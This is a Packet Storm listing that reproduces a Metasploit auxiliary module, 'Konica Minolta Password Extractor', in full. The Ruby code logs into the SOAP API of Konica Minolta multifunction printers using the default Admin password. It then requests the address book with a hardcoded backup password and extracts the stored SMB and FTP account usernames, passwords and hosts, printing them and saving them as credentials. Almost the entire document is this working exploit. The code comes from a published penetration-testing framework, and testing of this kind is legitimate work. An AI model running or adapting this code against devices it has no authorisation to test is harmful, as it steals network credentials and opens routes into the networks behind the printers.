Lucene search

K
packetstormPete Bokojan Arzamendi, Deral Percentx Heiland, metasploit.comPACKETSTORM:180641
HistoryAug 31, 2024 - 12:00 a.m.

Konica Minolta Password Extractor

2024-08-3100:00:00
Pete Bokojan Arzamendi, Deral Percentx Heiland, metasploit.com
packetstormsecurity.com
18
konica minolta
multifunction printer
ftp
smb
c224
c280
c353
c360
c363
c420
c452
c454e
c554

AI Score

7.4

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Konica Minolta Password Extractor',  
'Description' => %q{  
This module will extract FTP and SMB account usernames and passwords  
from Konica Minolta multifunction printer (MFP) devices. Tested models include  
C224, C280, 283, C353, C360, 363, 420, C452, C452, C452, C454e, and C554.  
},  
'Author' =>  
[  
'Deral "Percentx" Heiland',  
'Pete "Bokojan" Arzamendi'  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT('50001'),  
OptString.new('USER', [true, 'The default Admin user', 'Admin']),  
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),  
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])  
  
])  
end  
  
# Creates the XML data to be sent that will extract AuthKey  
def generate_authkey_request_xlm(major, minor)  
user = datastore['USER']  
passwd = datastore['PASSWD']  
Nokogiri::XML::Builder.new do |xml|  
xml.send('SOAP-ENV:Envelope',  
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',  
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',  
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',  
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){  
xml.send('SOAP-ENV:Header'){  
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){  
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }  
xml.send('UserName', 'xmlns' => '') { xml.text '' }  
xml.send('Password', 'xmlns' => '') { xml.text '' }  
xml.send('Version', 'xmlns' => ''){  
xml.send('Major') { xml.text "#{major}" }  
xml.send('Minor') { xml.text "#{minor}" }  
}  
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }  
}  
}  
xml.send('SOAP-ENV:Body') {  
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){  
xml.send('OperatorInfo'){  
xml.send('UserType') { xml.text "#{user}" }  
xml.send('Password') { xml.text "#{passwd}" }  
}  
xml.send('TimeOut') { xml.text '60' }  
}  
}  
}  
end  
end  
  
# Create XML data that will be sent to extract SMB and FTP passwords from device  
def generate_pwd_request_xlm(major, minor, authkey)  
Nokogiri::XML::Builder.new do |xml|  
xml.send('SOAP-ENV:Envelope',  
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',  
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',  
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',  
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){  
xml.send('SOAP-ENV:Header'){  
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){  
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }  
xml.send('UserName', 'xmlns' => '') { xml.text '' }  
xml.send('Password', 'xmlns' => '') { xml.text '' }  
xml.send('Version', 'xmlns' => ''){  
xml.send('Major') { xml.text "#{major}" }  
xml.send('Minor') { xml.text "#{minor}" }  
}  
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }  
}  
}  
xml.send('SOAP-ENV:Body'){  
xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){  
xml.send('OperatorInfo'){  
xml.send('AuthKey') { xml.text "#{authkey}" }  
}  
xml.send('AbbrListCondition'){  
xml.send('SearchKey') { xml.text 'None' }  
xml.send('WellUse') { xml.text 'false' }  
xml.send('ObtainCondition'){  
xml.send('Type') { xml.text 'OffsetList' }  
xml.send('OffsetRange'){  
xml.send('Start') { xml.text '1' }  
xml.send('Length') { xml.text '100' }  
}  
}  
xml.send('BackUp') { xml.text 'true' }  
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }  
}  
}  
}  
}  
end  
end  
  
# This next section will post the XML soap messages for information gathering.  
def run_host(ip)  
print_status("Attempting to extract username and password from the host at #{peer}")  
version  
end  
  
# Validate XML Major Minor version  
def version  
response = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'POST',  
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'  
}, datastore['TIMEOUT'].to_i)  
if response.nil?  
print_error("No response from device")  
return  
else  
xml0_body = ::Nokogiri::XML(response.body)  
major_parse = xml0_body.xpath('//Major').text  
minor_parse = xml0_body.xpath('//Minor').text  
major = ("#{major_parse}")  
minor = ("#{minor_parse}")  
login(major, minor)  
end  
  
rescue ::Rex::ConnectionError  
print_error("Version check Connection failed")  
end  
  
# This section logs on and retrieves AuthKey token  
def login(major, minor)  
authreq_xml = generate_authkey_request_xlm(major, minor)  
# Send post request with crafted XML to login and retrieve AuthKey  
begin  
response = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'POST',  
'data' => authreq_xml.to_xml  
}, datastore['TIMEOUT'].to_i)  
if response.nil?  
print_error("No response from device")  
return  
else  
xml1_body = ::Nokogiri::XML(response.body)  
authkey_parse = xml1_body.xpath('//AuthKey').text  
authkey = ("#{authkey_parse}")  
extract(major, minor, authkey)  
end  
rescue ::Rex::ConnectionError  
print_error("Login Connection failed")  
end  
end  
  
# This section post xml soap message that will extract usernames and passwords  
def extract(major, minor, authkey)  
if (authkey != '')  
# create xml request to extract user credential settings  
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)  
# Send post request with crafted XML as data  
begin  
response = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'POST',  
'data' => smbreq_xml.to_xml  
}, datastore['TIMEOUT'].to_i)  
if response.nil?  
print_error("No response from device")  
return  
else  
xml2_body = ::Nokogiri::XML(response.body)  
@smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }  
@smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }  
@smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }  
@ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }  
@ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }  
@ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }  
@ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }  
end  
end  
i = 0  
# output SMB data  
@smb_user.each do  
shost = "#{@smb_host[i]}"  
sname = "#{@smb_user[i]}"  
sword = "#{@smb_pass[i]}"  
print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")  
register_creds('smb', shost, '139', sname, sword)  
i += 1  
end  
i = 0  
# output FTP data  
@ftp_user.each do  
fhost = "#{@ftp_host[i]}"  
fname = "#{@ftp_user[i]}"  
fword = "#{@ftp_pass[i]}"  
fport = "#{@ftp_port[i]}"  
print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")  
register_creds('ftp', fhost, fport, fname, fword)  
i += 1  
end  
  
else  
print_error('No AuthKey returned possible causes Authentication failed or unsupported Konica model')  
return  
end  
end  
  
def register_creds(service_name, remote_host, remote_port, username, password)  
credential_data = {  
origin_type: :service,  
module_fullname: self.fullname,  
workspace_id: myworkspace_id,  
private_data: password,  
private_type: :password,  
username: username  
}  
  
service_data = {  
address: remote_host,  
port: remote_port,  
service_name: service_name,  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data.merge!(service_data)  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED,  
workspace_id: myworkspace_id  
}  
  
login_data.merge!(service_data)  
create_credential_login(login_data)  
end  
end  
`

AI Score

7.4

Confidence

Low